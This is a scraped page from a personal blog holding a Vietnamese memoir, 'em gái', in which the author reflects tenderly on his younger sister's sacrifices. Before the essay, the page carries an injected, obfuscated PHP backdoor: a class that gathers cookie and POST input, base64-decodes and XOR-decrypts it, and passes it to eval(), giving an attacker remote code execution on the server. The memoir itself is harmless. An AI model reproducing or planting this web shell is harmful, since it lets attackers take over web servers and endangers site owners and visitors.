$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> em gái – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

em gái

null

Anh đi làm xa, hai tuần lái xe về một lần. Tính ra mới đi làm được tầm ba tháng hơn xíu, mà đã lái tầm 6200 miles, qui ra km cũng là 11.5 ngàn km rồi. Ngẫm lại mà giật cả mình!

Mỗi lần lái xe về nhà, nhiều bạn hay hỏi anh làm gì ở nhà. Thật ra anh lái xe về nhà cũng chỉ cả ngày nằm dài ở cái sofa, chả đi đâu chơi. Về nhà lại mệt nhiều thứ hơn, có bao nhiêu điều cần giải quyết, gọi chỗ này một chút, gọi chỗ kia một chút, điền giấy tờ này, giấy tờ kia cho ba mẹ.

Mệt hơn nữa là em gái anh toàn đem mấy bài toán của nó ra hỏi anh.

***

Em gái anh thua anh hai tuổi. Các bạn trai khi đong gái hay kể những câu chuyện đại loại như:

Khi tớ hai tuổi, tớ lại gần và sờ bụng mẹ tớ, tớ hỏi:
– Mẹ ơi! Con sắp có em à?
rồi nào là:
– Con sẽ thay mẹ chăm sóc em nhé…

nhằm mục đích khiến cho loài gái nghĩ rằng: ồ, anh ấy thật là biết thương yêu em gái, tâm hồn tinh tế thế, ắt sau này sẽ yêu thương mình lắm đây!

Anh thật, toàn phường chém gió thôi.

Anh có em gái rồi anh biết. Tự nhiên khi có nhận thức, là đã quen với việc có một đứa em, xem đó như việc đương nhiên.

***

Đôi khi nhìn những đứa em họ, con của các dì cậu anh, anh cũng thấy buồn khi anh em chúng ít chơi chung với nhau. Thời buổi hiện nay, trẻ con có đủ mọi thứ. Trẻ trai thì đã biết ngồi máy vi tính chơi đảo hải tặc, hay thậm chí cầm XBox 360 chơi bắn súng ì xèo. Các bé gái thì ngập lặn trong cơ man nào là búp bê, gấu bông.

Hồi anh còn nhỏ, trẻ con miền quê chỉ có những trò như năm mười, keo, keng, nhảy lò cò, đánh trận giả – những trò chơi mà tất cả bọn trẻ trai hay gái đều hào hứng tham gia.

Chính vì thế, tuổi thơ anh luôn gắn liền với việc có một đứa em đi bên cạnh.

Bọn anh chơi nhảy lò cò chung với nhau, so đo nhau khi chân đứa kia thậm chí chỉ giẫm lên đường biên ô lò cò vài mi-li-mét. Bọn anh tị nạnh nhau khi cho rằng đứa kia chưa đếm đến 100 đã ti hí mắt ra mà dòm trong trò chơi năm mười (trốn tìm).

Anh và em anh cũng từng chụm đầu lại thổi bong bóng xà phòng làm bằng cách giã nát hoa râm bụt, rồi trộn với nước. Cũng từng cùng nhau đứa bẻ cây khoai mì để làm đạn bắn, đứa nhặt đá ném qua lại khi chiến tranh với bọn trẻ con hàng xóm trước nhà. Thậm chí, mấy lần anh bẻ hàng rào ở nhà dòng để chui về nhà, cũng có em anh đứng cạnh cảnh giới.

***

Có một chuyện mà anh còn nhớ, đó là năm lớp 4, lớp anh tổ chức đi chơi Suối Tiên. Đối với một đứa bé quanh năm lớn lên ở quê như bọn anh, thì được lên Sài Gòn là thứ gì đó lớn lao. Nó cũng xin đi chung với anh. Trước khi đi, mẹ dúi cho hai đứa ít tiền…

Lên Suối Tiên rồi, bọn anh mới biết số tiền đó là quá ít.

Anh quên quá nhiều, anh không nhớ đó là trò chơi nào, chỉ biết đó là trò mà anh nhìn rất thích. Anh và nó cứ đứng tần ngần trước trò chơi đó, nhìn đám bạn anh lần lượt chơi. Điều khiến anh không quên được, là nó đưa tiền của nó cho anh, bảo: anh đi chơi đi, em đứng dưới được rồi. Đến giờ thật tình anh không thể nhớ mình có chơi trò đó không, nhưng chi tiết đó, anh nhớ rất kĩ.

***

Nếu trên thế giới chỉ còn sót lại hai người luôn tự hào về anh dù bất cứ chuyện gì xảy ra, thì anh biết đó sẽ là mẹ anh và em gái anh.

Khi bắt đầu lớn lên, em anh đã xem việc anh học giỏi như là điều dĩ nhiên.

Anh nhớ hồi nhà anh mới từ quê lên Sài Gòn xa hoa, hiện đại, một trong những việc đầu tiên mà ba mẹ anh muốn làm là cho anh đi học vi tính, để cho bằng bạn bằng bè. Sau đó là tới Anh Văn. Ba mẹ muốn cho em gái anh đi học trước, vì đã tốn kha khá tiền cho anh học vi tính rồi. Anh còn nhớ, em anh khi đó tuy còn rất nhỏ, nhưng đã nói: ba mẹ cho anh Hải đi học đi, anh Hải học giỏi hơn con mà.

Anh học hội Việt Mỹ, khi đó đối với một gia đình mới từ quê lên, thu nhập chưa có, thì cũng gọi là số tiền lớn.

Ba mẹ anh không thiên vị, sau này cũng muốn cho nó đi học thêm nhiều chỗ hay và tốt, nhưng lần nào nó cũng nói: nhường cho anh Hải học trước.

***

Khi anh và nó lớn hơn chút, thì nó nghiễm nhiên quen với chuyện anh cần nhiều thứ hơn. Khi mẹ cho hai đứa tiền tuần, em anh nói với mẹ: con không cần nhiều tiền thế đâu! và nó chấp nhận việc tiền tuần của nó thua anh gần một nửa mà không so bì gì.

Anh không thích đi mua sắm, hồi anh còn ở Việt Nam, đồ anh toàn nó và mẹ đi siêu thị mua sắm. Và gần như lúc nào cũng chỉ là anh có đồ mới. Mẹ và em gái anh rất ít mua đồ. Anh thì mỗi lần nhận đồ mới chỉ cằn nhằn qua loa: con có cần đồ mới đâu mà mẹ mua, rồi lại đâu vào đấy.

***

Anh bắt đầu quen bạn gái, anh quen dần với việc vào những quán cafe đắt tiền (so với sinh viên nghèo như anh hồi đó), những rạp chiếu phim, những tiệm ăn sang trọng – vả cả những nhà nghỉ sau đó.

Có lần, đi chơi với bạn gái về (cafe – xem phim – cafe – nhà nghỉ – trình tự là thế nếu anh nhớ không lầm), vừa dắt xe vào nhà, thấy nó ngượng ngùng xin hai chục ngàn đi ăn ốc với bạn mà muốn ứa nước mắt ra.

Khi bạn gái cũ của anh làm anh đau, phản bội niềm tin của anh, nó chỉ nói: em ghét con đó, vì nó làm anh buồn…

***

Đến lúc qua đây, khi mới qua, ba mẹ muốn mua laptop cho hai đứa. Anh mua máy trước, nó mua máy sau. Nó chọn cái máy giá chỉ bằng một nửa máy anh, xấu hơn nhiều, và ngồi cạnh anh chơi game mà không hề có chút ghen tị gì.

Khi anh còn chưa kiếm được việc làm, nó đi học đại học. Nó cứ hằng mỗi sáng gọi anh dậy, chở nó tới trường, và ngồi trong thư viện chờ nó học xong.

Có lẽ, em anh đã hơn 20 tuổi, nhưng nó vẫn luôn muốn ở cạnh anh như thuở nhỏ.

***

Anh đi làm xa, anh mua xe mới. Nó chạy lại cái xe cũ mà hồi đó anh chạy.

Mỗi lần anh đi về, anh chở nó đi đâu, nghe nó khen: xe đẹp quá, sau này ước gì em cũng có tiền mua một chiếc.

Anh với cái kính đen, đeo vội vào…

***

Anh đi làm, lãnh tháng lương đầu tiên. Anh hứa mua tặng gái đủ món quà. Bỗng tự nhiên, mẹ gọi lên nói rất nhỏ và gấp gáp: mẹ đang cùng em con đi shopping. Nó nhìn thấy đồ mắc quá không muốn mua. Con cứ nói là con cho nó tiền mua nhé, rồi mẹ trả tiền con sau

Hôm đó em anh mua được vài bộ váy, vài cái áo đẹp…

Có lần anh về nhà, thấy cửa sổ YM nó đang chat dở bỏ đó đi nấu cơm. Nó chat với bạn nó, nó khoe về anh rất nhiều, từ việc anh đi làm ngon lành, tới việc anh mua tặng nó vài bộ quần áo.

Anh xem mà mắt đỏ hoe.

***

Em anh nó thích nghe nhạc, mà cả anh và nó đều không có cái máy nghe nhạc nào thật sự. À, dì của anh có cho cái iPod 4Gb mà dì không xài. Nó chỉ nói anh: anh đi đường xa cần nghe nhạc, anh lấy xài đi.

Bữa anh thấy trên mạng bán cái máy nghe nhạc kiểu giống iPod touch, nhưng của công ty khác, đang giảm giá từ 250$ xuống còn 45$. Anh mới buzz nó ngoài YM và hỏi:
– Mày thích máy nghe nhạc không, tao mua cho?
Câu đầu tiên nó hỏi vẫn là:
– Mắc không anh.
Anh mới bảo nó:
– Có giảm giá, không mắc lắm, mày thích không thôi?
Nó suy nghĩ hồi rồi reply lại:
– Hihi cám ơn anh.

Anh định order rồi, mà thấy người ta review tệ quá (tiền nào của đấy thôi) mới nói nó:
– Thôi máy này dở lắm, để lúc khác đi.
Nó trả lời:
– Ok! Không sao đâu anh.

Ai anh không biết, chứ em anh, anh chắc chắn là nó không nghĩ nhiều. Và vì thế, anh càng thương nó hơn…

Hôm rồi anh về, anh chở nó đi tới chỗ bạn trên xe của anh, thấy nó hí hoáy chọn bài trên cái iPod cũ kĩ của anh, lại cảm thấy nhói lòng quá…

***

Lần nào anh về, nó cũng đều muốn anh ngồi giải toán ở trường với nó. Nó hỏi anh đủ điều dù biết những cái đạo hàm, cực trị… đó anh chả còn nhớ gì. Vậy mà bài nào nó cũng cứ bắt anh ngồi đó, hỏi anh, và rồi nó tự giải…

Lần nào anh về, nó đều nói anh dẫn nó đi uống Starbucks và đi ra rạp xem phim – dù anh biết thừa số lượng cafe nó uống trong hơn hai chục năm nó sống, đếm không quá đầu ngón tay, và số lần đi rạp xem phim cũng vậy.

Anh chỉ nằm dài đó, ngáp, chơi game và đáp: Tao lười!

Anh than anh lái xe mệt, nó lại ngồi đấm lưng cho anh, ngay sau đó, mà không hề buồn bã trách móc gì.

Tệ thật!

090810,
-Hải .

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.